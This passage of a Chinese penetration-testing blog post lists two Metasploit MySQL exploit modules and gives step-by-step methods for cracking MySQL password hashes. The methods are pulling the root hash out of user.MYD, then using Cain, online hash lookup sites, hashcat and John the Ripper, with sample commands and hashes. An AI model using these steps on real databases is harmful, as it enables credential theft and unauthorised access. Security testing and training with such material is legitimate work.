2.exploit/windows/mysql/mysql_yassl_hello

3.exploit/windows/mysql/scrutinizer_upload_exec

10.mysql密碼破解

A、cain工具破解mysql密碼

使用UltraEdit-32編輯器直接打開user.MYD文件,打開后使用二進制模式進行查看,在root用戶后面是一串字符串,選中這些字符串將其復制到記事本中,這些字符串即為用戶加密值,例如506D1427F6F61696B4501445C90624897266DAE3。

注意:

(1)root后面的“”不要復制到字符串中。

(2)在有些情況下需要往后面看看,否則得到的不是完整的MYSQLSHA1密碼,總之其正確的密碼位數是40位。

安裝cain工具,使用cracker,右鍵單擊“Add tolist”將Mysql Hashes值加入到破解列表中,使用軟件中的字典、暴力破解等方式來進行暴力破解。

B、網站在線密碼破解

1.cmd5.com破解。將獲取的mysql值放在cmd5.com網站中進行查詢,mysql密碼一般都是收費的。

2.somd5.com破解。Somd5.com是后面出現的一個免費破解網站,每次破解需要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,而且破解一次后需要重新輸入驗證碼。

C、oclhash破解

hashcat支持很多種破解算法,免費開源軟件,官方網站https://hashcat.net/hashcat/,破解命令:

hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323類型

hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5類型

D、 John the Ripper password cracker

John the Ripper下載地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper除了能夠破解linux外,還能破解多種格式的密碼。

Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John –format =mysql-sha1 hashes.txt

john --list=formats | grep mysql //查看支持mysql密碼破解的算法

知乎專欄:https://zhuanlan.zhihu.com/p/76059441

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。